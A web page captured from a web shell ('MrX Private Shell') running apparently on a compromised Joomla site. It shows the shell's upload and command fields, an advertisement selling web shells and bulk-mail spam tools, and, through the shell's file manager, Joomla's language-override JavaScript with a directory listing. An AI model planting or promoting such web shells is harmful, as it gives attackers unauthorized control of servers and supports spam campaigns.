__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
/**
 * @copyright  (C) 2018 Open Source Matters, Inc. <https://www.joomla.org>
 * @license    GNU General Public License version 2 or later; see LICENSE.txt
 */
((Joomla, document) => {
  class Overrider {
    constructor() {
      this.states = {
        refreshing: false,
        refreshed: false,
        counter: 0,
        searchString: '',
        searchType: 'value'
      };
      this.spinner = document.getElementById('overrider-spinner');
      this.spinnerBtn = document.getElementById('overrider-spinner-btn');
      this.moreResults = document.getElementById('more-results');
      this.moreResultsButton = document.getElementById('more-results-button');
      this.resultsContainer = document.getElementById('results-container');
      this.refreshStatus = document.getElementById('refresh-status');
    }

    /**
     * Method for refreshing the database cache of known language strings via Ajax
     *
     * @return  void
     *
     * @since   2.5
     */
    refreshCache() {
      this.states.refreshing = true;
      this.refreshStatus.classList.add('show');
      Joomla.request({
        url: 'index.php?option=com_languages&task=strings.refresh&format=json',
        method: 'POST',
        headers: {
          'Content-Type': 'application/json'
        },
        onSuccess: response => {
          if (response.error && response.message) {
            alert(response.message);
          }
          if (response.messages) {
            Joomla.renderMessages(response.messages);
          }
          this.refreshStatus.classList.remove('show');
          this.states.refreshing = false;
        },
        onError: () => {
          alert(Joomla.Text._('COM_LANGUAGES_VIEW_OVERRIDE_REQUEST_ERROR'));
          this.refreshStatus.classList.remove('show');
        }
      });
    }

    /**
     * Method for searching known language strings via Ajax
     *
     * @param   more  Determines the limit start of the results
     *
     * @return  void
     *
     * @since   2.5
     */
    searchStrings(more) {
      // Prevent searching if the cache is refreshed at the moment
      if (this.states.refreshing) {
        return;
      }
      const formSearchString = document.getElementById('jform_searchstring');
      const formSearchType = document.getElementById('jform_searchtype');

      // Only update the used searchstring and searchtype if the search button
      // was used to start the search (that will be the case if 'more' is null)
      if (!more) {
        this.states.searchString = formSearchString.value;
        this.states.searchType = formSearchType.value || 'value';

        // Remove the old results
        const oldResults = [].slice.call(document.querySelectorAll('.language-results'));
        oldResults.forEach(result => {
          result.parentNode.removeChild(result);
        });
      }
      if (!this.states.searchString) {
        formSearchString.classList.add('invalid');
        return;
      }
      if (more) {
        // If 'more' is greater than 0 we have already displayed some results for
        // the current searchstring, so display the spinner at the more link
        this.spinnerBtn.classList.add('show');
      } else {
        // Otherwise it is a new searchstring and we have to remove all previous results first
        this.moreResults.classList.remove('show');
        const childs = [].slice.call(document.querySelectorAll('#results-container div.language-results'));
        childs.forEach(child => {
          child.parentNode.removeChild(child);
        });
        this.resultsContainer.classList.add('show');
        this.spinner.classList.add('show');
      }
      Joomla.request({
        url: `index.php?option=com_languages&task=strings.search&format=json&searchstring=${this.states.searchString}&searchtype=${this.states.searchType}&more=${more}`,
        method: 'POST',
        headers: {
          'Content-Type': 'application/json'
        },
        onSuccess: resp => {
          const response = JSON.parse(resp);
          if (response.error && response.message) {
            alert(response.message);
          }
          if (response.messages) {
            Joomla.renderMessages(response.messages);
          }
          if (response.data) {
            if (response.data.results) {
              Joomla.overrider.insertResults(response.data.results);
            }
            if (response.data.more) {
              // If there are more results than the sent ones
              // display the more link
              this.states.more = response.data.more;
              this.moreResultsButton.disabled = false;
              this.moreResults.classList.add('show');
            } else {
              this.moreResultsButton.disabled = true;
              this.moreResults.classList.remove('show');
            }
          }
          this.spinnerBtn.classList.remove('show');
          this.spinner.classList.remove('show');
        },
        onError: () => {
          alert(Joomla.Text._('COM_LANGUAGES_VIEW_OVERRIDE_REQUEST_ERROR'));
          this.moreResultsButton.disabled = true;
          this.moreResults.classList.remove('show');
          this.resultsContainer.classList.remove('show');
        }
      });
    }

    /**
     * Method inserting the received results into the results container
     *
     * @param   results  An array of search result objects
     *
     * @return  void
     *
     * @since   2.5
     */
    insertResults(results) {
      // For creating an individual ID for each result we use a counter
      this.states.counter += 1;

      // Create a container into which all the results will be inserted
      const resultsDiv = document.createElement('div');
      resultsDiv.setAttribute('id', `language-results${this.states.counter}`);
      resultsDiv.classList.add('language-results');
      resultsDiv.classList.add('list-group');
      resultsDiv.classList.add('mb-2');
      resultsDiv.classList.add('show');

      // Create some elements for each result and insert it into the container
      results.forEach((item, index) => {
        const a = document.createElement('a');
        a.setAttribute('onclick', `Joomla.overrider.selectString(${this.states.counter}${index});`);
        a.setAttribute('href', '#');
        a.classList.add('list-group-item');
        a.classList.add('list-group-item-action');
        a.classList.add('flex-column');
        a.classList.add('align-items-start');
        const key = document.createElement('div');
        key.setAttribute('id', `override_key${this.states.counter}${index}`);
        key.setAttribute('title', item.file);
        key.classList.add('result-key');
        key.innerHTML = Joomla.sanitizeHtml(item.constant);
        const string = document.createElement('div');
        string.setAttribute('id', `override_string${this.states.counter}${index}`);
        string.classList.add('result-string');
        string.innerHTML = Joomla.sanitizeHtml(item.string);
        a.appendChild(key);
        a.appendChild(string);
        resultsDiv.appendChild(a);
      });

      // If there aren't any results display an appropriate message
      if (!results.length) {
        const noresult = document.createElement('div');
        noresult.innerText = Joomla.Text._('COM_LANGUAGES_VIEW_OVERRIDE_NO_RESULTS');
        resultsDiv.appendChild(noresult);
      }
      if (this.moreResults) {
        this.moreResults.parentNode.insertBefore(resultsDiv, this.moreResults);
      }
    }

    /**
     * Inserts a specific constant/value pair into the form and scrolls the page back to the top
     *
     * @param   id  The ID of the element which was selected for insertion
     *
     * @return  void
     *
     * @since   2.5
     */
    // eslint-disable-next-line class-methods-use-this
    selectString(id) {
      document.getElementById('jform_key').value = document.getElementById(`override_key${id}`).innerHTML;
      document.getElementById('jform_override').value = document.getElementById(`override_string${id}`).innerHTML;
    }
  }
  document.addEventListener('DOMContentLoaded', () => {
    Joomla.overrider = new Overrider();
  });
})(Joomla, document);

Filemanager

Name Type Size Permission Actions
admin-language-edit-change-flag-es5.js File 915 B 0664
admin-language-edit-change-flag-es5.min.js File 606 B 0664
admin-language-edit-change-flag-es5.min.js.gz File 399 B 0664
admin-language-edit-change-flag.js File 802 B 0664
admin-language-edit-change-flag.min.js File 566 B 0664
admin-language-edit-change-flag.min.js.gz File 386 B 0664
admin-override-edit-refresh-searchstring-es5.js File 941 B 0664
admin-override-edit-refresh-searchstring-es5.min.js File 741 B 0664
admin-override-edit-refresh-searchstring-es5.min.js.gz File 417 B 0664
admin-override-edit-refresh-searchstring.js File 824 B 0664
admin-override-edit-refresh-searchstring.min.js File 676 B 0664
admin-override-edit-refresh-searchstring.min.js.gz File 390 B 0664
overrider-es5.js File 8.86 KB 0664
overrider-es5.min.js File 4.16 KB 0664
overrider-es5.min.js.gz File 1.37 KB 0664
overrider.js File 7.99 KB 0664
overrider.min.js File 4.01 KB 0664
overrider.min.js.gz File 1.31 KB 0664
Filemanager